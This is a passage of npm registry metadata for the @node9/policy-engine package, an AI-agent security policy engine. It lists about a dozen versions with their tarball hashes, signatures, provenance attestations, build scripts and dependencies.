fKJ8wnTzJZAFLMayhD8paNLBZx2SqSqtCCKwH/uDwAXT+u4994OWB+t6WkNXGa4jAARhnccD13rYYXTHj+KA==","signatures":[{"sig":"MEUCIQD18l7z9GdxlJfYv4uh1Y0DBW3lpVmUEDEw+w3fWh84CQIgaelVJGX+cMzGey2E9iZ8AbVy02SvKy6u4pndgvzQ/dA=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.67.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":411788},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"5cbd47fbbbe1eeedfae1650826e3826e2ba58108","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.67.3_1787224912136_0.7320673895414627","host":"s3://npm-registry-packages-npm-production"}},"1.67.4":{"name":"@node9/policy-engine","version":"1.67.4","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.67.4","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"5fc768e7263ebae28bb148f849614a3a9379cab2","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.67.4.tgz","fileCount":7,"integrity":"sha512-hD7hDdk7EQCUX9O0D80oMQjGA6f8CC6v3iR8QVswE6eSYZN9MAg+r0SlXU8Z/+q9v4YDDTNQJ7YodmTeicJwBQ==","signatures":[{"sig":"MEUCIQDD2DgnJrbbmraLBPfF8hMVrnWjv30wcSa6aFn9n5N2HgIgPN9eto6sW8bTdz+vjhbbduo9inJdxQ+T0IWaJcaMrzU=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCIHI+hBluDraL+UrvYNreX6RGob+nh3lK+tJgVbZqXC0CAiA2fy+vrVaCPbyXUUdwhGpZ9co3jjEUk6g77QUgghgCEw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.67.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413892},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"b41ef2d816020fcf488a486b8ebb17a40ffffb19","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.67.4_1787341879811_0.1490394348852826","host":"s3://npm-registry-packages-npm-production"}},"1.67.5":{"name":"@node9/policy-engine","version":"1.67.5","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.67.5","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"2519affa2d7508a5a5c80a1ffcaa3504e5eb0026","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.67.5.tgz","fileCount":7,"integrity":"sha512-Wm1oun2NRNTvGa2D0cT/K7WitfCIqRQ2lZuoaEJ67U6/+5GsZA40YiTKXU8hbCRHL3UEiEgSQlV2y3RHJWbLQg==","signatures":[{"sig":"MEUCIBx98x+MJdzH3oCCiQ8D0GyQYweLTZFvv/nterjW1QpRAiEAprR1eIUlBIu6LaaKFDPuhQ1TvVJC8ugBW68PhHKK5O4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQC9cw3QheQDdR1rvpDv6+42d4PfaLsh1e1qql2gx7NlFQIhAP786GivTqcmFwuq6uuh6dmowDOeghMKJB3LDHLMPfUm","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.67.5","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413892},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"bcd15bb2fa09d3045d566fa92dca0cb769e3ae40","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.67.5_1787409397365_0.6513113218771791","host":"s3://npm-registry-packages-npm-production"}},"2.1.0":{"name":"@node9/policy-engine","version":"2.1.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.1.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"c0f4a26880abedf1e98ab6810ea03bdb1d407d6b","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.1.0.tgz","fileCount":7,"integrity":"sha512-Wszdf9RApuYaJf37E8PmahMl96ToJizhSr7uWGfFs/TeMOQpCTtA3amOl3pt6LT1WmW8FcA+M6sz4XFdesBZew==","signatures":[{"sig":"MEQCIDUPMp/oZkQVWJ4xCpw57vlik1sM2y6js3o3XgDfSGdeAiBZXcW7tPiXPwggE23TgT0luZSVNpIpCj7iKrds+cOQ9A==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQC/G6JyktzFbGm563tNYFlyNxaxdl16NX3q6v3lgdjtgQIhAPdidl0dfQc8NWYS+e6hiMKje7uRmpRKO4o8s/7tVDmW","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.1.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413891},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"2b9d9d6f3e20f37635c55b88ddfe70412cda1013","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.1.0_1787913678422_0.09615601021036624","host":"s3://npm-registry-packages-npm-production"}},"2.2.0":{"name":"@node9/policy-engine","version":"2.2.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.2.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"27c566335886868ff6ba1318f24427019555332e","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.2.0.tgz","fileCount":7,"integrity":"sha512-nwzTdPduyffttGW3W5ObkgnPm3lc+nmpeGsdfquen3f0ZevrKx4gXXQJkjXvImqY+5QKcmf/1+ifbUNhNi6NMQ==","signatures":[{"sig":"MEYCIQDBFgW3++bYGO953n78h6zM3VcRtv69X+5NSx5mZ33GdgIhAPEyaSFAJ0LPqEgRDxdo79aGLBRDcD25tvYUjkhWRa9M","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQCoWB8z4hs2WYPj/oQAF4wdwb4DlzloxS0aLB3f8zygfAIhALrN50y5i9AlBIhMT9xU/6YvIUrjyGYe7qsI55YYjmFi","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.2.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413891},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"025634c87829bd5b930f256c419a58c8aeb28fc1","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.2.0_1787920270080_0.12948759822109746","host":"s3://npm-registry-packages-npm-production"}},"2.2.1":{"name":"@node9/policy-engine","version":"2.2.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.2.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"819ed5ff542269f3dc969ccb03b70a55389d0e5e","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.2.1.tgz","fileCount":7,"integrity":"sha512-htOnXRdWdzcNQn2bcCg6KOsEMubhbYGM+WwvaQNBtiJuSn2EWEBgXCGDXzfLYGyDNmwimFYUZSmT6NOArmbMzw==","signatures":[{"sig":"MEYCIQDPTsjtzrSYjIJog5cjz5m+ZiHzdjTulMHbz65dSBVH4wIhALjhMoSeoWlKujlvFOBzZ0+W5zVDZMHdmVcVLvjfkhMH","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIHji1cXdctCHxVlwI35GCfGUStBd9j7PRf72KixZAkIEAiEAz/68BJI9TH+SGnnmPRZ/iJINsd+jwkij4pvl6l2LAVU=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.2.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413891},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"e47b33b0e44ba535c576b33b85cb3a7fccde6717","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.2.1_1787931124303_0.341219479126869","host":"s3://npm-registry-packages-npm-production"}},"2.2.2":{"name":"@node9/policy-engine","version":"2.2.2","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.2.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"b7dc3c99e2058d10b05a5d6cc52cae95bec3e609","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.2.2.tgz","fileCount":7,"integrity":"sha512-oKJKfBCJcM50Icl8yRKOllroAG6hxOTU4J6amBAa+hiHUhNPs9I7UQpMoTiI1cjgIlfwha44FsvqHUVQSBjQrQ==","signatures":[{"sig":"MEQCIAIuAZXejDC3Co9qLpmISOcBvWCV5gYpC331wO8aVCtFAiBygKlGLRm6W3KvtT2xY+AGX3kdZKZcEI15ubEnAJ/y/A==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEQCIH/7v0zjcAn7uT+HJM0V8GMRwyGmREfNgqlfWSo+aOEfAiA55hoTqBc8SCOoHLTnTgOqVILZVbYXP0U8a7Dso3DNkw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.2.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413891},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"b3200a2282bf0fb82390422a8ddfd9fe245dee75","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.2.2_1787941922849_0.10612494228226876","host":"s3://npm-registry-packages-npm-production"}},"2.3.0":{"name":"@node9/policy-engine","version":"2.3.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.3.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"25001fa6b92e36c2d4dea0a0f8da83b2e3a635e4","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.3.0.tgz","fileCount":7,"integrity":"sha512-07YFYA1HViSjgjpbH5jH2XN5HXrjDe8vLGVKBF9ZeoQ6Jj9pXTW/nYXT9QVrY5jTbnfsVcVGQYXvTX2My8SQHQ==","signatures":[{"sig":"MEUCIQCz+5UAMbm8XiGaQDZPmkcOgRmHpufNPJ7EYBoSlt4+bgIgB/fiDZwfCNl19mHwss3K68MN6Fox1Z+KiFpIui94mQc=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQDYadpYTseJ9aEOOgAH0XaUiWr+/9TNkUAvz06v6kXuJgIgfCTpYqUuCA87DJSoUPDRq1ykGKfAcLIGbmcyoB+gT34=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.3.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413891},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"0c0b01de0631066f2964a72c9f940645989031d2","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.3.0_1787985624627_0.6459252872438197","host":"s3://npm-registry-packages-npm-production"}},"2.3.1":{"name":"@node9/policy-engine","version":"2.3.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.3.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"c96129b29abd57addff373210d042c8f07190bdc","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.3.1.tgz","fileCount":7,"integrity":"sha512-we4agsXjc+PFgOUVK+REMSuBIGCWucze1DethJuIcYcWCjhcRTRvyVSRB7LhhIGvB9RrvuJWAV5ulwGH2+VC2w==","signatures":[{"sig":"MEQCICRbqpCcdPBv8nd4SS+K67mX+AQqNawHbkLrqFdx8h7fAiAXF8p5NnTFVgx3hmho88IVQxRue7X3d9Q3a98jpRK0fg==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIDGPrzomaOu9ColRrWaVDXH5uHLG9p66zoemarfQmPYMAiEAqGnp74t44mX2KrQLDWF8HftX8wIJwF5t/OtmzIarYq0=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.3.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413891},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"f3b701b00615a9f9f746b95f97cef278d2223dd6","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.3.1_1787988011217_0.8171168651439578","host":"s3://npm-registry-packages-npm-production"}},"2.4.0":{"name":"@node9/policy-engine","version":"2.4.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.4.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"f995d6087c27dcdc77d782bcd6487ec6b1a6daf7","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.4.0.tgz","fileCount":7,"integrity":"sha512-AWVANLjMQ7T0a+z7960NuVayqeCbqf1exK4eARQ7RhZuWD2LOesmFLSt2SauPzxGRQYeGsTgzkRqbhz5n2odIA==","signatures":[{"sig":"MEUCIQDVfLVyuolHWtNgNO7pu5s7sE6UxSWWW1q3JneU1fQ/sAIgJKYEfle38u6P+YSEiwRtCXA+P/4fioorOyQHU4/iAY4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEYCIQD9LKcpS5tUREdTXVMnb25850VJi748lSo67rIk16bzmQIhANgrM80S0m88wP0lnFD66rEfYpUWZzUJunVAiTh9wv3z","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.4.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413891},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"b7d00adc21ea48f98df9818cfaff9984223b76cd","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_2.4.0_1788016577062_0.3176823392356125","host":"s3://npm-registry-packages-npm-production"}},"2.5.0":{"name":"@node9/policy-engine","version":"2.5.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@2.5.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"f193c71268feecb155c8abfa2e03e2d2665e5129","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-2.5.0.tgz","fileCount":7,"integrity":"sha512-P8FuyJD8EpZxNMovqUMR8Zm0HA9SEJxIVx+eUsFsv21uODSUEVnEfahydQ+mtbjZnrL3oy5MMVBzlcISABEcGA==","signatures":[{"sig":"MEQCIHIYosQnaYbDsj33z0ybXn6QyHaiKG3ZxekUAmQN0dZIAiAMpTwdQ1tob7Ty0z70vF/KTXPfEyCwTWai1zq8kCH3UQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"},{"sig":"MEUCIQDYaIWZEpO/A+KWcYGHGbnYX9Qt3VDcJgbaNiYPfDGyYwIgXJLVs8y5ylCKcQERABOBY6aCyPCc2xwdjRWTOcjA7U8=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@2.5.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":413891},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"8da4581702aa6ea5881c68163d3052a9ba68b4c1","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.2","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS 